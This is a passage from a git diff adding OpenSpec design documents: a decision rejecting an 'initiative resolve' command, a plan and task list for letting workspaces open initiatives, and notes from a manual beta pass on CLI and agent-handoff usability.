decision-only checkpoint. + +Replacement: + +```text +Item 9. Reject Initiative Resolve + +Decision: do not add `openspec initiative resolve`, now or later. Initiative +discovery belongs to `initiative show`; local path mapping belongs to +workspaces; implementation progress belongs to repo-local changes. +``` diff --git a/openspec/initiatives/context-store-and-initiatives/work-items/09-add-initiative-resolve/evidence.md b/openspec/initiatives/context-store-and-initiatives/work-items/09-add-initiative-resolve/evidence.md new file mode 100644 index 0000000000..26ce8ca83d --- /dev/null +++ b/openspec/initiatives/context-store-and-initiatives/work-items/09-add-initiative-resolve/evidence.md @@ -0,0 +1,106 @@ +# Reject Initiative Resolve Evidence + +## Decision Summary + +Date: 2026-05-25. + +After review, the standalone `openspec initiative resolve <id>` command should +not be implemented, now or later. + +The useful distinction is already covered by existing concepts: + +- `initiative show` resolves canonical shared initiative context. +- A workspace is the local view over repos and folders. +- Repo-local changes link themselves to initiatives through checked-in metadata. +- Repo-local status reports implementation progress. + +A standalone resolve command would mostly duplicate workspace local-view state +or provide weak output when no workspace is present. + +## Pressure Test + +Scenario: + +```bash +git clone git@github.com:acme/context.git +openspec context-store register ./context --id platform +openspec initiative show billing-launch --json +``` + +This can locate: + +```text +platform/billing-launch +./context/initiatives/billing-launch +./context/initiatives/billing-launch/initiative.yaml +``` + +It cannot know: + +```text +which implementation repos should exist locally +where those repos are on this machine +which repos the user intends to work in +which repos should be cloned +which workspace view the user wants +``` + +That knowledge belongs to the user and the workspace, not the initiative. + +## Why Workspace Changes The Answer + +When a user has a workspace, the local view is already resolved by the +workspace: + +```text +workspace -> link names -> machine-local paths +``` + +The agent can operate from the workspace context. A separate +`initiative resolve` command would add another layer that mostly reprints what +the workspace already owns. + +If future UX needs initiative-aware opening, it should be part of workspace +behavior, such as opening or preparing a workspace around a selected initiative. +It should not be a standalone initiative command pretending to infer local repo +availability. + +## Research Notes Retained + +The earlier investigation is still useful as background: + +- `initiative show` already has correct context-store lookup behavior, + ambiguity handling, incomplete lookup handling, and JSON locator output. +- Item 8 stores initiative links in repo-local `.openspec.yaml` as + `{ store, id }`. +- Workspace state owns local path mappings and generated open surfaces. +- Existing repo-local status and instructions expose initiative links but do not + resolve or summarize the initiative. + +Those findings support the final decision: do not add a standalone command; keep +each responsibility in its existing owner. + +## Rejected Scope + +Rejected for Item 9: + +- `openspec initiative resolve <id>` +- path-resolution dashboards +- progress dashboards +- all-workspace scans +- all-repo scans +- explicit path scanning as an initiative command +- Git remote matching +- repo ownership inference +- cloning or branch/worktree orchestration +- initiative backlinks + +## Verification + +This pass updates decision artifacts only. + +```bash +git diff --check +``` + +Result: passed after this revision. diff --git a/openspec/initiatives/context-store-and-initiatives/work-items/09-add-initiative-resolve/plan.md b/openspec/initiatives/context-store-and-initiatives/work-items/09-add-initiative-resolve/plan.md new file mode 100644 index 0000000000..6a5a482f47 --- /dev/null +++ b/openspec/initiatives/context-store-and-initiatives/work-items/09-add-initiative-resolve/plan.md @@ -0,0 +1,141 @@ +# Reject Initiative Resolve + +## Status + +Final decision: do not implement a standalone `openspec initiative resolve` +command, now or later. + +## Source Of Truth + +Start from `../../direction.md` and the boundary: + +```text +Context stores sync truth. +Collections shape truth. +Initiatives coordinate work. +Workspaces open local views. +Changes implement repo-owned slices. +``` + +Item 8 already established that repo-local changes may reference initiatives +through portable checked-in metadata: + +```yaml +initiative: + store: platform + id: billing-launch +``` + +## Final Decision + +Do not ship `openspec initiative resolve <id>` as a user-facing command in this +slice or any future slice. + +The earlier command framing was too broad. It tried to join initiative identity, +workspace local paths, explicit repo roots, and linked repo-local changes into a +new CLI surface. That makes the command look authoritative even though the +initiative does not own local repo paths, repo participation, or implementation +state. + +## Why The Command Is Not Needed + +If a user only has a context store clone, OpenSpec can already resolve the +canonical initiative with: + +```bash +openspec initiative show billing-launch --json +``` + +That answers: + +```text +What initiative is this, which context store contains it, and where is the +canonical initiative folder? +``` + +It cannot answer: + +```text +Which local implementation repos should exist on this machine? +``` + +because that information is not in the context store. + +If a user has a workspace, the workspace is already the local view. It already +maps local repos and folders to paths on this machine. A separate +`initiative resolve` command would mostly re-describe the workspace the user is +already using. + +If a user is in a repo, the repo-local change commands and status commands +already operate from that repo. The user or agent can inspect the current repo's +changes directly. + +## Product Rule + +Do not create a new command whose main job is to discover local paths that the +workspace already represents. + +Rules: + +- `initiative show` remains the command for canonical initiative discovery. +- Workspaces remain the local view over repos, folders, context stores, and + initiatives. +- Repo-local changes remain the implementation artifacts. +- Agents should use the current workspace or current repo context rather than + asking a standalone initiative command to infer local availability. +- OpenSpec should not infer repo ownership, scan arbitrary repos, clone repos, + create worktrees, or write backlinks to make resolve appear smarter than it + is. + +## What To Do Instead + +Keep the pieces separate: + +- Use `openspec initiative show <id> --json` to locate canonical shared context. +- Use workspace commands to set up, link, relink, list, open, update, and doctor + local views. +- Use repo-local `openspec new change ... --initiative ...` and + `openspec set change ... --initiative ...` to create durable links from repo + work to initiative context. +- Use `openspec status --change <id> --json` inside the owning repo to inspect + implementation progress. + +If a future workspace workflow needs to open an initiative-specific view, it +should be designed under workspace behavior, not as a standalone initiative +resolve command. + +## Deferred Or Replaced Scope + +The following ideas are not part of Item 9 implementation: + +- `openspec initiative resolve <id>` +- scanning all registered workspaces +- scanning all repos on disk +- explicit `--path` based initiative resolution +- Git remote matching +- repo ownership inference +- cloning, fetching, pulling, pushing +- branch or worktree creation +- initiative backlinks +- progress dashboards +- local availability dashboards + +## Roadmap Disposition + +Item 9 is a decision-only checkpoint. It records that standalone initiative +resolution is rejected permanently. + +Roadmap framing: + +```text +Item 9. Reject Initiative Resolve + +Decision: do not add `openspec initiative resolve`, now or later. Initiative +discovery belongs to `initiative show`; local path mapping belongs to +workspaces; implementation progress belongs to repo-local changes. +``` + +## Next Useful Work + +The next useful implementation slice is workspace initiative opening, without a +standalone resolve prerequisite. diff --git a/openspec/initiatives/context-store-and-initiatives/work-items/09-add-initiative-resolve/tasks.md b/openspec/initiatives/context-store-and-initiatives/work-items/09-add-initiative-resolve/tasks.md new file mode 100644 index 0000000000..f442d86bd9 --- /dev/null +++ b/openspec/initiatives/context-store-and-initiatives/work-items/09-add-initiative-resolve/tasks.md @@ -0,0 +1,22 @@ +# Reject Initiative Resolve Tasks + +## Decisions + +- [x] Create Item 9 work-item tracking notes. +- [x] Pressure-test whether a standalone `initiative resolve` command is needed. +- [x] Decide that a standalone user-facing `initiative resolve` command should + not be implemented now or later. +- [x] Decide `initiative show` remains sufficient for canonical initiative + discovery. +- [x] Decide workspace local-view state is the right place for local repo/path + mapping. +- [x] Decide repo-local status remains the right place for work progress. +- [x] Decide not to add all-repo scanning, all-workspace scanning, Git remote + matching, cloning, worktree creation, or initiative backlinks. + +## Follow-Up + +- [x] Update the central roadmap entry for Item 9. +- [x] Update the initiative task tracker. +- [x] Record workspace initiative opening as the next useful implementation + slice. diff --git a/openspec/initiatives/context-store-and-initiatives/work-items/10-let-workspaces-open-initiatives/plan.md b/openspec/initiatives/context-store-and-initiatives/work-items/10-let-workspaces-open-initiatives/plan.md new file mode 100644 index 0000000000..42444b568b --- /dev/null +++ b/openspec/initiatives/context-store-and-initiatives/work-items/10-let-workspaces-open-initiatives/plan.md @@ -0,0 +1,430 @@ +# Let Workspaces Open Initiatives + +## Status + +Product decisions are locked. The remaining work is implementation design and +delivery. + +## Source Of Truth + +Start from `../../direction.md` and the boundary: + +```text +Context stores sync truth. +Collections shape truth. +Initiatives coordinate work. +Workspaces open local views. +Changes implement repo-owned slices. +``` + +Item 9 rejected standalone initiative resolution. Initiative discovery belongs +to `initiative show`; local path mapping belongs to workspace local-view state. + +## Locked Direction + +A workspace does not contain the work. It remembers how this runtime opens the +work. + +```text +private local view record + -> generated runtime files + -> opener-specific launch + -> initiative context + selected local repos/folders +``` + +The durable part is the user's private local view choice. The generated part is +runtime support for agents and editors. + +## Product Goal + +Let a user open a shared initiative in their own local runtime with the context +and repos they care about. + +Examples: + +- A Team A developer opens `platform/billing-launch` with local Repo A and Repo + B. +- A Team B developer opens the same initiative with local Repo C only. +- A user opens the initiative context only, links repos later, and still gets + useful agent guidance. + +## Non-Goals + +- Do not clone repos. +- Do not create branches or worktrees. +- Do not use Git submodules as the workspace primitive. +- Do not infer all participating repos from Git remotes or disk scans. +- Do not write generated agent files into linked repos or context stores. +- Do not make workspace-level `changes/` the durable planning model. +- Do not enforce edit permissions in Item 10. + +## Decision Register + +### Command UX + +Status: decided. + +Use `workspace open` for initiative local-view realization: + +```bash +openspec workspace open --initiative platform/billing-launch +openspec workspace open --initiative billing-launch --store platform +openspec workspace open --initiative billing-launch +openspec workspace open team-a-billing --initiative platform/billing-launch +``` + +Rationale: the action being performed is local view realization, so the command +belongs under `workspace open` rather than `initiative open`. + +Lookup behavior: + +- If the user provides `<store>/<initiative>`, use that exact store selector. +- If the user provides `<initiative> --store <store>`, use that exact store + selector. +- If the user provides only `<initiative>`, search registered context stores and + proceed when there is exactly one exact match. +- If multiple stores contain the same initiative id, stop and show the matching + stores with a hint to retry using `<store>/<initiative>` or `--store`. +- If no exact match exists, do not silently open the closest match. Show a small + list of likely matches when available, plus a hint to run `openspec + initiative list`. +- If some registered stores cannot be read, keep the result conservative. Do not + choose a match that could be ambiguous behind an unreadable store unless the + user supplied an explicit store selector. + +Interactive UX may let a human choose from suggestions. JSON and non-interactive +UX should return structured errors and suggestions without prompting. + +Workspace-name behavior: + +- The optional positional workspace name remains the local view identity. +- If the user provides a workspace name with `--initiative`, create or reuse that + named local view. +- If the user omits a workspace name, create or reuse a friendly default derived + from the initiative id when that is unambiguous. +- On name collisions or multiple existing local views for the same initiative, + let the human choose interactively or require an explicit workspace name in + non-interactive mode. + +### Open Target + +Status: decided. + +Default to opening the initiative directory, not the whole context store. + +User-facing behavior: + +```bash +openspec workspace open --initiative billing-launch +``` + +opens a focused local view: + +```text +generated files in the workspace root +context-store/initiatives/billing-launch/ +selected local repos/folders +``` + +It should not open the entire context store by default. + +Rationale: + +- The user asked for one initiative, so the opened context should be focused on + that initiative. +- Agents receive less unrelated shared context. +- Unrelated initiatives and shared files are not exposed by default. +- The local view stays easier to understand: generated workspace root plus this + initiative plus selected implementation roots. + +Generated guidance and JSON output should still report the context store root +and that broader context exists. A later explicit option may open the full +context store, for example `--context-scope store` or `--include-store`, but +broad store scope is not the default for Item 10. + +### Local View Record + +Status: decided. + +Use one private local view record: the root `workspace.yaml` file. + +```yaml +version: 1 +name: billing-launch +context: + kind: initiative + store: + id: platform + selector: + kind: registry + id: platform + initiative: + id: billing-launch +links: + repo-a: /Users/me/repos/repo-a + repo-b: /Users/me/repos/repo-b +preferred_opener: codex +tools: + - codex +``` + +This decision covers the conceptual record shape and the fact that generated +runtime files are not durable state. + +If the user selected a context store by local path, the private workspace record +can keep that runtime-local selector without changing checked-in repo metadata: + +```yaml +context: + kind: initiative + store: + id: platform + selector: + kind: path + path: /Users/me/context/platform + observed_id: platform + initiative: + id: billing-launch +``` + +The context binding is optional. A user can also create a workspace that is not +linked to any initiative: + +```yaml +version: 1 +name: team-a-local +context: null +links: + repo-a: /Users/me/repos/repo-a + repo-b: /Users/me/repos/repo-b +preferred_opener: codex +tools: + - codex +``` + +This is a first-class workspace shape, not only an edge case for initiative +opening. Item 10 should preserve custom non-initiative workspaces while adding +initiative-aware opening. + +### Workspace Storage And Generated Files + +Status: decided. + +Store each private workspace view under the user's OpenSpec global data +directory, keyed by workspace name: + +```text +getGlobalDataDir()/workspaces/<workspace-name>/ +``` + +The workspace name is the local identity. The selected store and initiative, if +any, are data inside the private record; they do not define the storage path. +This keeps the workspace API generic enough for custom local views that are not +initiative-linked. + +Initial shape: + +```text +getGlobalDataDir()/workspaces/<workspace-name>/ + workspace.yaml + AGENTS.md + <workspace-name>.code-workspace + .codex/ + skills/ + .claude/ + skills/ +``` + +`workspace.yaml` is the durable private view record and the only view file in +Item 10. The other files are generated runtime support owned by OpenSpec. They +may be overwritten by `workspace open`, `workspace update`, or a future explicit +preparation surface. + +Do not add a separate generated-output directory for Item 10. The managed +workspace root is already the private generated view. + +Initiative open defaults: + +- If the user provides a workspace name and no workspace exists, create that + workspace bound to the selected initiative. +- If the user provides a workspace name and it already points at the same + initiative, reuse it and regenerate runtime files. +- If the user provides a workspace name and it has no context binding, bind it + to the selected initiative only after clear user confirmation; in + non-interactive mode, fail and require an explicit future rebind/update + surface. +- If the user provides a workspace name and it points at a different initiative + or context, do not silently repoint it. Stop with a clear error and require an + explicit future rebind/update surface. +- If the user omits a workspace name and exactly one existing workspace points at + the selected initiative, reuse it. +- If the user omits a workspace name and no existing workspace points at the + selected initiative, create a friendly default workspace name derived from the + initiative id only when that name is unused. +- If the derived workspace name collides with another workspace, ask for an + explicit workspace name or show matching workspace choices instead of hiding + the collision behind a path convention. +- If multiple workspaces point at the same initiative, let the user choose or + require an explicit workspace name in non-interactive mode. + +### Generated Runtime Files + +Status: decided. + +Generate runtime files at the workspace root, next to `workspace.yaml`. + +```text +getGlobalDataDir()/workspaces/<workspace-name>/ +``` + +The generated files can contain `AGENTS.md`, skills, launch prompts, and +generated editor workspace files. + +Regeneration behavior: + +- `workspace open` regenerates the managed runtime files before launching the + opener. +- `workspace update` regenerates the managed runtime files without changing + durable local view choices unless the user asked for a state change. +- Generated files are OpenSpec-owned and may be overwritten each time. +- `workspace.yaml` is not generated output and should not be overwritten except + when the local view record itself changes. + +### Runtime Identity + +Status: decided. + +Use `getGlobalDataDir()` as the runtime-local boundary. It is already +cross-platform and resolves to the appropriate user data directory for macOS, +Linux, Windows, Codespaces, WSL, SSH hosts, and containers. + +Local paths in `workspace.yaml` are valid only in the runtime that wrote them. +If the same user opens the same initiative from another runtime, they create or +relink that runtime's workspace there. Item 10 should not add path translation, +shared machine identities, or an extra `<runtime-id>` path segment. + +### Prepare/JSON Surface + +Status: decided. + +Keep `workspace open --json` as a machine-facing receipt for the same open +operation. Do not add `--prepare-only` for Item 10. + +The JSON response should be useful to agents and desktop integrations, not just +a success boolean. It should include the workspace name, workspace root, +generated file paths, selected context, opened roots, skipped or missing roots, +opener, launch status, and warnings. + +Human-facing behavior remains the normal `workspace open` output. JSON mode is +for tools that need structured facts after OpenSpec has prepared the workspace +root and attempted the requested open. + +### Missing Paths At Open Time + +Status: decided. + +Workspace opening should be strict about the selected initiative/context and +forgiving about optional linked local paths. + +- If the selected initiative cannot be resolved, fail before launch. +- If the context store or initiative path is unavailable, fail before launch and + point to context-store registration/doctor guidance. +- If a linked repo or folder is missing, warn and skip that root; do not block a + context-only or partially linked open. +- Human output should name skipped links and suggest `workspace doctor` or + relink guidance. +- JSON output should include skipped or missing roots and warnings. + +### Codex Desktop + +Status: decided. + +Open the generated workspace root as the Codex Desktop project. Surface the +attached initiative path and linked repo/folder paths through generated guidance +and the `workspace open --json` response. + +Do not depend on Desktop multi-root automation for Item 10. If Desktop later has +a clearer multi-root contract, it can become an enhancement without changing the +workspace storage model. + +### Edit Boundaries + +Status: decided. + +Item 10 emits advisory boundaries only. Generated context should distinguish +coordination context from implementation targets, but it should not enforce +write restrictions. + +The generated view should label initiative/context-store files as shared +coordination context and linked repos/folders as local implementation context +when selected. Strong enforcement can come later. + +## First-Run UX Sketch + +Status: deferred beyond the first implementation slice. + +This sketch captures the eventual human interactive flow. Item 10 should not +depend on building a full guided setup wizard; the first implementation may use +explicit flags and structured errors first. + +```text +Found initiative: platform/billing-launch +No local workspace view exists for this runtime. + +Create a local view? +> Open context only + Link existing local repos/folders + Cancel +``` + +No option in this first-run flow should clone, branch, create worktrees, or +create submodules. + +## Machine-Readable Open Contract + +`workspace open --json` is the machine-readable contract for the generated +runtime context. Item 10 should not create a separate machine-readable view +file; the durable view record is `workspace.yaml`. + +The JSON response should tell agents: + +- schema version +- workspace name and workspace root +- selected initiative id, title, and path +- selected context store id and path +- generated file paths +- opened roots +- skipped or missing roots +- linked repo-local changes when known +- advisory edit boundaries +- next repair commands +- warnings and launch status when produced by `workspace open --json` + +If no implementation target is selected, `allowedEditRoots` should be empty or +explicitly advisory. + +The exact schema can evolve during implementation, but the JSON response should +make the generated view self-describing enough for agents and desktop +integrations without scraping human output. + +## Forward Compatibility + +The initial `context` record supports the selected context store and initiative. +Do not design the YAML parser so narrowly that future records cannot add fields +for configurable change homes, artifact homes, target bindings, or other +collection/view metadata. + +## Compatibility Notes + +The current beta workspace implementation creates a managed root with +`changes/`, `AGENTS.md`, `.gitignore`, +`.openspec-workspace/workspace.yaml`, `.openspec-workspace/local.yaml`, and a +durable `.code-workspace` file. + +Item 10's intended new shape is a root `workspace.yaml` plus generated runtime +files at the managed workspace root. Existing beta workspaces should be treated +as compatibility inputs. Migration or removal of all beta internals is deferred +unless the implementation slice intentionally scopes that migration. + +For the initiative-opening model, generated runtime files are derived artifacts, +not workspace truth. diff --git a/openspec/initiatives/context-store-and-initiatives/work-items/10-let-workspaces-open-initiatives/tasks.md b/openspec/initiatives/context-store-and-initiatives/work-items/10-let-workspaces-open-initiatives/tasks.md new file mode 100644 index 0000000000..a44944c96c --- /dev/null +++ b/openspec/initiatives/context-store-and-initiatives/work-items/10-let-workspaces-open-initiatives/tasks.md @@ -0,0 +1,43 @@ +# Let Workspaces Open Initiatives Tasks + +## Decisions + +- [x] Create Item 10 work-item tracking notes. +- [x] Lock the high-level direction: private local view record plus generated + runtime files. +- [x] Decide command UX. +- [x] Decide default open target. +- [x] Decide private local view record shape. +- [x] Decide private local view record storage namespace and keying. +- [x] Decide generated runtime file location and lifetime. +- [x] Decide runtime identity rules. +- [x] Decide prepare/JSON surface. +- [x] Decide Codex Desktop behavior. +- [x] Decide Item 10 edit-boundary semantics. + +## Implementation Scope To Confirm Later + +- [x] Add or adapt workspace local-view state for initiative opening. +- [x] Preserve non-initiative custom workspaces as first-class local views. +- [x] Resolve initiative context through existing `initiative show` semantics. +- [x] Implement workspace-name reuse and collision behavior for initiative open. +- [x] Generate opener-specific runtime files. +- [x] Return explicit machine-readable view context from `workspace open --json`. +- [x] Launch agent/editor with generated workspace root plus initiative context and + selected local repos/folders. +- [x] Warn and skip missing linked repos/folders at open time while failing on + missing selected initiative/context. +- [x] Add doctor guidance for missing context stores, missing local links, stale + view records, and advisory edit boundaries. +- [x] Ensure Item 10 opens known local paths only and does not clone, branch, + create worktrees, or use submodules. + +## Deferred + +- [ ] Multiple saved views per initiative. +- [ ] Shared/exported workspace templates. +- [ ] Repo auto-discovery or Git remote matching. +- [ ] Strong edit-boundary enforcement. +- [ ] Codex Desktop multi-root automation if the Desktop contract is not clear + enough for Item 10. +- [ ] Migration or removal of all existing beta workspace root artifacts. diff --git a/openspec/initiatives/context-store-and-initiatives/work-items/11-manual-beta-reality-pass/notes.md b/openspec/initiatives/context-store-and-initiatives/work-items/11-manual-beta-reality-pass/notes.md new file mode 100644 index 0000000000..317aaac695 --- /dev/null +++ b/openspec/initiatives/context-store-and-initiatives/work-items/11-manual-beta-reality-pass/notes.md @@ -0,0 +1,289 @@ +# Manual Beta Reality Pass Notes + +Use this as the scratchpad while trying the beta flow. + +## What Worked + +- Manual beta pass caught the bad default before building more surface area. +- After changing the default, rerunning + `openspec context-store setup team-context --init-git` from inside the + OpenSpec repo created the store at + `~/.local/share/openspec/context-stores/team-context` instead of nesting it in + the repo. +- Minimal fresh-agent handoff worked for initiative creation. A subagent given + only the store id and a loose topic created `agent-trace-hooks` in the correct + context-store location: + `~/.local/share/openspec/context-stores/team-context/initiatives/agent-trace-hooks`. + +## What Felt Weird + +- Fresh-user guidance immediately drifted into sandbox/environment setup + (`XDG_CONFIG_HOME`, `XDG_DATA_HOME`) instead of letting the user just run the + beta locally. Strong reaction: this should work as a normal local workflow. +- `openspec context-store setup` with no args feels like it should start an + interactive setup, but it does not. The command name itself creates that + expectation. +- `openspec context-store setup team-context --init-git` created + `team-context/` inside the current OpenSpec repo because the default path is + `./<id>`. User expected a default outside the current repo, not a new Git repo + nested in whatever directory they happened to run from. +- Cleaning up the accidental store had no obvious CLI path. `context-store` + exposes setup/register/list/doctor, but no unregister/remove command, so + cleanup required removing the folder and editing the registry manually. +- `context-store setup --init-git` initializes Git, but leaves + `.openspec-store/` and new initiatives untracked. That may be fine, but the + beta flow does not tell the user or agent whether to stage/commit the shared + context store. +- `openspec workspace open` with no arguments prompts only for known local + workspace views. It does not show registered context stores or initiatives, so + `team-context` is absent even though the next guide step is opening an + initiative from that store. This is technically consistent with the current + implementation, but confusing in the beta flow because the command name reads + like the broad "open something OpenSpec-related" entrypoint. +- The post-initiative step has the wrong first-run verb. After creating a + context store and an initiative, the user is conceptually creating a local + workspace view for that initiative. "Open" implies the workspace already + exists, so the beta guide and CLI make the user infer a hidden create-or-open + behavior. + +## Missing Prompts Or Too Many Flags + +- Need clearer guidance for whether a beta pass should use existing local + OpenSpec state or create a normal local test context store. Avoid requiring + environment variables as the default manual path. +- Missing prompt: when no context-store id is provided, ask for the store id, + path, and Git initialization choice instead of requiring the user to know the + positional argument/flags. +- Missing prompt/safety check: before creating a default context store under + the current directory, show the target path and ask for confirmation or offer + a managed default location. +- Missing handoff guidance: after context-store setup, the guide tells the user + to ask an agent to create an initiative, but a fresh agent may not know the + beta initiative CLI or where to find the agent playbook. +- Missing prompt: `workspace open` should either offer an "open initiative from + context store" path when registered initiatives exist, or make the zero-arg + prompt text explicit that it is selecting an existing local workspace view + only. If it offers initiatives, it should likely list references like + `team-context/agent-trace-hooks`, not just the store id. +- Missing first-run workspace creation flow: after an initiative exists, the + user should be guided through creating the local workspace view. A simple + interactive path could ask what to set up, list registered initiatives such as + `team-context/agent-trace-hooks`, suggest a workspace name from the initiative + id, optionally link existing repo/folder paths, choose an opener, then create + the workspace view. +- Better minimal beta path: keep lazy workspace creation, but make bare + interactive `openspec workspace open` initiative-aware. The picker should show + existing local workspace views and registered initiatives that can create a + local view on selection, with labels that preserve the distinction between + "workspace" and "initiative." +- The generated initiative file contract is underexplained. The CLI creates + exactly `initiative.yaml`, `requirements.md`, `design.md`, `decisions.md`, + `questions.md`, and `tasks.md`, but docs describe the Markdown files as + "typical" or "then edit" rather than naming the contract clearly. +- A user looking at the generated initiative tree may reasonably ask where that + structure came from. The exact six-file contract is clear in code and the + internal MVP work item, but public beta docs do not make it explicit and the + broader direction doc still mentions future `contracts/` content. + +## Agent Handoff Notes + +- The first agent step has a bootstrapping problem. `context-store setup` does + not create repo-local guidance, and `workspace open --initiative` cannot run + until the initiative exists. A fresh agent needs either an explicit pasted + mini-playbook, installed OpenSpec skills, or CLI output that prints the exact + next agent prompt/command. +- In the manual subagent test, the agent ran `initiative create --help`, then + created the initiative with `--store team-context --title ... --summary ... + --json`. It correctly resolved the store and did not create files in the + OpenSpec repo. +- The subagent replaced generated `TBD` placeholders with useful short content, + which suggests the templates give enough structure but not enough guidance. + There is no CLI option to seed richer content beyond title and summary. +- `initiative create --json` reports `created_files` as relative names. Agents + have to combine those with the returned root to get absolute paths. +- "Commands only" is product-ambiguous for this beta. The implementation treats + it as "remove all skills and install only slash command files," but users may + read it as "I prefer slash commands for workflow entry points." They still + likely expect their coding agent to understand OpenSpec concepts, context + stores, initiatives, and workspace handoff. + +## Delivery UX Model + +- Split the concept into two layers: + - Baseline OpenSpec literacy: "Does the agent understand OpenSpec concepts and + know how to inspect context stores, initiatives, workspaces, and repo-local + changes?" + - Workflow entrypoints: "How does the user invoke workflow actions such as + propose/apply/archive?" +- Current `delivery` acts like a generated-artifact cleanup switch. That is too + low-level for the user-facing choice. +- Better meaning: + - `skills`: install the baseline guide skill plus workflow skills. + - `commands`: install the baseline guide skill plus workflow slash commands. + - `both`: install the baseline guide skill plus workflow skills and workflow + slash commands. +- In UI copy, avoid "commands only" if it implies no skills at all. Prefer + labels like "Slash commands as workflow entrypoints" or "Workflow commands + only" with helper text that baseline OpenSpec guidance is still installed + when the selected agent supports skills. +- For tools without a command adapter, commands-oriented delivery should warn + clearly that workflow slash commands are unavailable for that tool. The tool + should still receive the baseline guide skill if it supports skills, so the + selected agent is not left with nothing. + +## Initiative Placement UX + +- A fresh agent also needs to know whether a new planning object belongs in a + context store or in the current repo. This should not be left to vibes. +- Product distinction: + - Initiatives in context stores are durable planning and coordination context + that intentionally lives outside implementation repos: product intent, + decisions, questions, roadmap notes, and tasks that should not necessarily + be checked into the code repo. + - Repo-local OpenSpec changes are implementation plans owned by the repo that + will change: proposal/design/spec deltas/tasks/validation. + - Workspaces are local views that connect shared context to local repos; they + should not become a third durable planning home. +- Agent guidance should not assume repo-local is preferred just because work + touches one repo. Use or create a context-store initiative when the user wants + OpenSpec artifacts outside the repo, when a monorepo has multiple teams with + separate planning contexts, when repo policy discourages planning artifacts, + when work is cross-repo/team-coordinated, long-lived, pre-implementation + discovery, or already tied to an existing context store. +- If a request is ambiguous, the agent should inspect first: + `openspec initiative list --json`, `openspec list --json`, and workspace + state when available. If still ambiguous, ask: "Should these OpenSpec + artifacts live outside the repo in a context store, or inside this repo as a + repo-local implementation change?" +- CLI/skill copy should make the linked flow explicit: create/read initiative + in the context store, then create repo-local changes from the owning repo with + `--initiative <store>/<initiative>`. + +## Initiative Creation Rethink + +- `openspec initiative create` currently creates a full six-file planning + packet with `TBD` placeholders. That is too eager for the intended audience: + PMs, designers, architects, and agents facilitating early product/architecture + thinking. +- Initial creation should register the initiative shell, not invent the plan. + The most conservative first slice is `initiative.yaml` plus either: + - a short `brief.md` seeded from title/summary/current understanding; or + - a lightweight `requirements.md` with no `TBD` placeholders and no claims of + accepted requirements until the content has been reviewed. +- Follow-up artifacts should be created iteratively when they become real: + - `requirements.md`: accepted high-level requirements, goals, non-goals, + unresolved product questions. + - `design.md`: reviewed product/UX/architecture direction and tradeoffs. + - `questions.md`: optional question log when questions need tracking. + - `decisions.md`: optional decision log appended only after decisions happen. + - Avoid default `tasks.md`; implementation tasks belong in repo-local changes. + If initiative-level coordination is needed later, use clearer language like + `workstreams.md`, `milestones.md`, or `coordination.md`. +- This should ideally become schema-led. Reuse the artifact-graph idea + (artifact ids, generated paths, templates, dependencies, status/instructions), + but root it at the initiative directory instead of repo-local changes. +- A minimal initiative schema could start with only `requirements` and `design`, + where design depends on requirements. `decisions` and `questions` are living + logs, so file-existence completion semantics may not fit them. +- For next-release safety, avoid a strict top-level `schema:` field in + `initiative.yaml` until metadata compatibility is designed. If a schema hint + needs persistence, store it under `metadata` or keep the default implicit. + +## Docs Fixes + +- The beta guide says "This creates a local context store" but does not explain + that the default location is `./<id>` relative to the current working + directory. That needs to be explicit if the default remains. +- Immediate docs/code fix changed the default away from `./<id>` and documented + the managed local data location instead. +- Step 2 should not assume the agent already knows the beta initiative command. + Include a copy-paste bootstrap prompt or link/inline excerpt from the agent + CLI playbook. +- Step 3 says "Open Your Local Workbench," but the command is actually + create-or-open when `--initiative` is passed. The guide should make that + explicit: "Create or open a local workspace view for the initiative." It + should also warn that bare `openspec workspace open` selects existing + workspace views only and will not list context stores like `team-context`. +- Better: change the user-facing flow so the first-time path is explicitly + creation/setup. The guide should send humans to an interactive workspace setup + path for the initiative, then reserve `workspace open` for reopening an + existing workspace view. +- Subagent UX/model passes recommended a leaner beta change: keep + `workspace open --initiative <store>/<initiative>` as the explicit + create-or-reuse path, but make bare interactive `workspace open` show + initiatives as selectable targets. Selecting an initiative should say it is + creating/opening a local workspace view. + +## Possible Implementation Slices + +- Make `openspec context-store setup` interactive when no id is provided: + prompt for store id, default path, and Git initialization; keep `--json` / + non-interactive behavior deterministic with a helpful fix message. +- Reconsider the default context-store setup path. Options: use the managed + OpenSpec data directory by default, or keep `./<id>` only after an interactive + confirmation that names the full target path. + - Implemented during the pass: use the managed OpenSpec data directory by + default and keep `--path` for explicit locations. +- Add `openspec context-store unregister <id>` or `remove <id>` for local + registry cleanup, with an explicit choice about whether to delete files or + only forget the local registration. +- Add a first-run handoff affordance after context-store setup, such as printing + "Next for your agent" guidance or adding a command that emits the agent + playbook for shared context/initiative setup. +- Add interactive workspace creation for initiative views. Candidate surfaces: + extend `openspec workspace setup` with initiative selection, add + `openspec workspace setup --initiative <store>/<initiative>`, or introduce a + clearer `workspace create` command. The key UX requirement is that a fresh + user can run an interactive command after initiative creation and be led to + "create a local workspace view for this initiative" without knowing + `--initiative` or the derived workspace-name convention. +- Add an initiative-aware `workspace open` picker as the smallest product fix: + on bare interactive open, list local workspaces plus registered initiatives. + If the user selects an initiative, feed it through the existing + `--initiative` create/reuse path. Do not auto-create workspaces during + context-store setup or initiative creation, and do not make workspaces 1:1 + with initiatives. + - Implemented during the pass: bare interactive `workspace open` now shows + registered initiatives that do not already have a known local view, and + selecting one creates/reuses the initiative-bound workspace view. + - Follow-up fix: when that lazy initiative view is new, `workspace open` + now runs the same repo/folder link prompt as `workspace setup` before + creating the workspace view. This avoids opening an empty workspace and + makes the first-run path collect implementation roots at the moment the + user expects it. +- Consider splitting baseline OpenSpec literacy from workflow delivery. A + small default `use-openspec` skill could be installed whenever a selected + agent supports skills, even if workflow delivery is set to commands-only, so + "commands only" means "workflow actions are slash commands" rather than "the + agent gets no OpenSpec context." +- Simpler possible slice: treat `use-openspec` as a normal managed skill bundled + with the configurator and installed by default. Keep it skill-only even if it + is presented as part of the default profile, so it does not create a slash + command, workflow artifact, or user-facing workflow action. +- Rethink `openspec initiative create` as a sparse, schema-led container + instead of a fully scaffolded planning packet. Initial create should likely + write only `initiative.yaml` plus a short `brief.md` seeded from title and + summary. Follow-up agent/CLI actions can add `requirements.md`, `design.md`, + `questions.md`, `decisions.md`, or coordination artifacts when there is + reviewed content to capture. Avoid default `TBD` sections, fake decisions, + and default initiative-level `tasks.md` that may be confused with repo-local + implementation tasks. +- Manual follow-up converted the test `agent-trace-hooks` initiative to the + proposed sparse shape: kept `initiative.yaml`, added `brief.md`, and removed + the eager generated planning 